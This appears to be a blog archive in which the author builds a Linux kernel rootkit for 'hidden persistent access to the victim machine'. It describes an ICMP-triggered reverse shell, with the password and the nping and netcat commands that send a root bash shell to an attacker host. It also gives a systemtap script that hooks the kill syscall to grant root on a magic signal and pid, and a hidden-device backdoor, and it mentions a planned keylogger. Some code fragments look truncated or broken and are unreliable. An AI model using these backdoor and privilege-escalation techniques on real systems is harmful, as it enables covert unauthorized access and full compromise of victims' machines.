Tag Archives: kernel

Gaining Remote Access

In order to make our rootkit more useful and more malicious, I have looked into ways of gaining remote access. This allows our attacker to maintain hidden persistent access to the victim machine. Maintaining access to a compromised machine can be tricky as there are lots of ways of doing so but most can be very easily spotted. The two methods I investigated involved using a simple bind shell and then a more neat reverse shell. For this simple demonstration I installed and use various Nmap 6 tools.

Bind shell
My implementation of this, simply bound a /bin/bash shell to a port. This isn’t a very hidden way of doing things and our victim admin could easily view this process running using netstat. I will look into hiding processes and open ports at a later point.

Reverse shell
For my reverse shell, I monitor all icmp packets for a certain password or key. If this key is found, I send a /bin/bash shell to an attacker defined IP and port. This means our sniffer runs in the background and we can hide the process by renaming it. I will also investigate a means of hiding this process completely.

Gaining access to the user space from kernel

The hardest part of implementing this remote shell functionality, was finding a reliable way of running our user space shell from within the kernel. I came across many implementations and ideas in my search. Some involved copying attacker shellcode into memory and then setting it as executable, others were more messy and less reliable. I came across the following API that makes this task very simple, the usermode-helper API. This allows us to easily invoke a user space application from the kernel space.

At the bottom I will provide a simple kernel module that allows me to demonstrate this functionality. I will then integrate this into the next iteration of the rootkit.

Diving in

Firstly I needed to implement my reverse shell. This involved investigating the internet control message protocol (icmp). This protocol is generally used to relay messages about network devices and can be used to diagnose network issues or for other control purposes.

On our victim machine I ran the following

tcpdump ip proto \\icmp -X -v

This will display lots of information about any icmp request received or sent by a machine. On our attacker machine I then simply ran

ping victim.r00tkit.me

This pings the victim machine and we can see the raw packet data as it arrives in our tcp dump.


Next using a tool called nping I crafted a simple demonstration “Hello World” icmp request. We can then see this message in the data section of our tcpdump. The following request sends a single crafted ping to the defined destination ip address.

nping --icmp -c 1 -dest-ip [victim ip] --data-string 'Hello world'


Using this knowledge I wrote some simple C to listen for icmp requests and read this data section. As we don’t want every icmp request opening or sending a shell, I check the first token in the data string for a password or key. Then when this matches I check for a provided attacker ip and port. I then send a reverse shell to this attacker address on the port provided.

Our attacker in one window opens a listening port using the following netcat command

nc -l 31173

This listener is where we will send the reverse shell from the victim machine. The attacker machine is now listening on port 31173.
Assuming the kernel module is installed on the victim machine and we are using a password of maK_it_$H3LL, we then run the following nping command.

nping --icmp -c 1 -dest-ip [victim ip] --data-string 'maK_it_$H3LL [attacker ip] 31173'

Then in our window with netcat running, we should see the following

root@server1:~# nc -l 31173
/bin/bash shell..

You can find all of this code available at the following link : reverse-shell-access-kernel-module

Ninja access to root privileges from userspace

In this section I will be investigating a few different rootkit methods of escalating privileges from a regular user to a root user. I will then implement one of these methods in my kernel module.

The first method I would like to look at is triggering our root privileges by hijacking the kill system call. This involves replacing sys_kill with our own kill functionality. The idea here is to escalate the calling process to root when our regular user tries to kill a certain *secret* or *magic* process id. So lets have a look at the kill system call.

Kill ’em all!

By running the following:

stap -L syscall.kill

We can see the various variables our kill syscall has to deal with.

syscall.kill name:string pid:long sig:long argstr:string $pid:pid_t $sig:int $info:struct siginfo

As a test I ran the following systemtap script

//Run this using stap sys_kill.stp
#/usr/bin/env stap
probe syscall.kill{ 

I opened a new window and then ran kill 9001. I was greeted with the following output in the other window running our script:


Running kill -l we can read a list of the different signal numbers. We can easily see that signal 15 is SIGTERM. Using kill -s [SIGNAL NAME] 9001 we can then confirm that the other signals match up with our output. We can also see a value of 15 for the SIGTERM when we press ctrl+c to kill the stap script. This could also be confirmed using strace with the following command and output:

[root@localhost ~]# strace -e trace=kill kill 9001
kill(9001, SIGTERM)                     = -1 ESRCH (No such process)
kill 9001: No such process

Here we can see the return value and the message output to the terminal if the process/pid 9001 doesn’t exist. The next step is looking at ways to change the process credentials from our current user to root.

Escalating privileges

In order to raise the current users privileges to root we will need to look at /kernel/cred.c this file is included as part of linux/sched.h. We will need to include this in our module or stap script to use it.

The 2 functions we’ll be looking at are prepare_creds and commit_creds. We can read what they do from the kernel source…

Prepare a new set of task credentials for modification. A task's creds shouldn't generally be modified directly, therefore this function is used to prepare a new copy, which the caller then modifies and then commits by calling commit_creds().
Install a new set of credentials to the current task, using RCU to replace the old set.  Both the objective and the subjective credentials pointers are updated. This function may not be called if the subjective credentials are in an overridden state.

What I have done is created a function to carry out this task. I will then use various methods of triggering this function. After it runs the calling user should have changed credentials, giving the process and our user root privileges. We can demonstrate this with the following systemtap script: r00t.stp

#!/usr/bin/env stap
#include <linux/sched.h>

function root_me:long() %{
        struct cred *haxcredentials;
        haxcredentials = prepare_creds();
        if (haxcredentials == NULL)
        haxcredentials->uid = haxcredentials->gid = 0;
        haxcredentials->euid = haxcredentials->egid = 0;
        haxcredentials->suid = haxcredentials->sgid = 0;
        haxcredentials->fsuid = haxcredentials->fsgid = 0;

probe syscall.kill{
    if(sig == 14 && pid == 9001){

This is a good demonstration without the need to fully implement the same in a kernel module. As a regular user, running kill -s SIGALRM 9001 we can gain root privileges. Here is an example:
In one window we run the following

[root@localhost ~]# stap -g r00t.stp

In our second user window we run

[mak@localhost ~]$ id
uid=500(mak) gid=500(mak) groups=500(mak)
[mak@localhost ~]$ kill -s SIGALRM 9001
bash: kill: (9001) - No such process
[mak@localhost ~]$ id
uid=0(root) gid=0(root) groups=0(root),500(mak)

Using this same root_me function it is possible to escalate privileges under a large number of different circumstances. We could easily hijack any other system call and do the same thing using alternative conditions.

In the keylogger I recently wrote. I’ve implemented my own character device. Using this same method for passing commands via the device, I have included the option to give a regular user root privileges when they run the following:

echo rootme > /dev/.maK_it

This functionality will be part of the next code release I do. Next I plan on looking at hiding processes, files and maybe users.

Systemtap installation on CentOS 6.5

This post is simply just a quick note about how to install systemtap on a fresh install of CentOS 6.5. This will also be the development environment and OS I’ll be using for the development of my rootkit. Below you will find a very simple script I wrote to complete this process.

We will need to first acquire the kernel debuginfo packages for our current kernel version. This will allow Systemtap to take full advantage of the the kernel probing system it requires to operate. The debug packages we need to install are kernel-debuginfo, kernel-debuginfo-common and kernel-devel.

We then also need to install systemtap. You can find the script below. You may also find that after you update/upgrade your kernel, the debuginfo packages may need to be installed again. Running this script in these scenarios should also work.


RELEASE=`uname -r`
MACHINE=`uname -m`
wget $WEB$PKG1
wget $WEB$PKG2
#Build Downloaded debuginfo packages
rpm -Uhv kernel-debuginfo-*.rpm
#Install systemtap and kernel-developemnt packages
yum install systemtap kernel-devel

After running this, systemtap should be installed and ready to go. I  ran this on a fresh install without any other previous tampering. You can test if it worked by running something such as the following.


stap -L 'kernel.function("*")'

Running this should present a list of kernel functions. In my next post I will be discussing how an IO device such as a keyboard operates, I will also be fully investigating the various components within the kernel using systemtap and how keyboard input is processed. This will preempt the development of my kernel key logger.